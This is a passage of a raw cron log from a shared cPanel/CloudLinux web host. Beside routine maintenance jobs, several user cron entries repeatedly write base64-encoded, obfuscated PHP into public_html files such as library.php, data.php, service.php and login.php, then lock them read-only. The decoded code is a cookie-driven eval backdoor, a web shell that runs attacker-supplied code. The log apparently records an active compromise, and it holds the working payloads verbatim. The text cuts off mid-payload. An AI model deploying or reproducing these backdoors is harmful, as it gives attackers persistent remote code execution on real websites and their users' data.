bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:49:01 medusa CROND[24820]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:49:01 medusa CROND[24822]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:49:01 medusa CROND[24824]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:50:01 medusa CROND[26477]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 10:50:01 medusa CROND[26482]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:50:01 medusa CROND[26521]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 10:50:01 medusa CROND[26536]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 10:50:01 medusa CROND[26542]: (root) CMD (/usr/bin/kcarectl --auto-update )
Jun  7 10:50:01 medusa CROND[26543]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 10:50:01 medusa CROND[26544]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:50:01 medusa CROND[26545]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 10:50:01 medusa CROND[26546]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 10:50:01 medusa CROND[26548]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:50:01 medusa CROND[26549]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 10:50:01 medusa CROND[26550]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:50:01 medusa CROND[26552]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 10:50:01 medusa CROND[26554]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 10:50:01 medusa CROND[26555]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 10:50:01 medusa CROND[26553]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 10:50:01 medusa CROND[26569]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 10:50:01 medusa CROND[26570]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:50:01 medusa CROND[26571]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 10:50:01 medusa CROND[26572]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 10:50:01 medusa CROND[26574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:50:01 medusa CROND[26568]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 10:50:01 medusa CROND[26564]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 10:50:01 medusa CROND[26581]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:50:01 medusa CROND[26584]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 10:50:01 medusa CROND[26585]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:50:01 medusa CROND[26595]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:50:01 medusa CROND[26594]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 10:50:01 medusa CROND[26597]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:50:01 medusa CROND[26593]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 10:50:01 medusa CROND[26600]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:51:01 medusa CROND[28362]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:51:01 medusa CROND[28363]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:51:01 medusa CROND[28364]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:51:01 medusa CROND[28365]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:51:01 medusa CROND[28366]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzM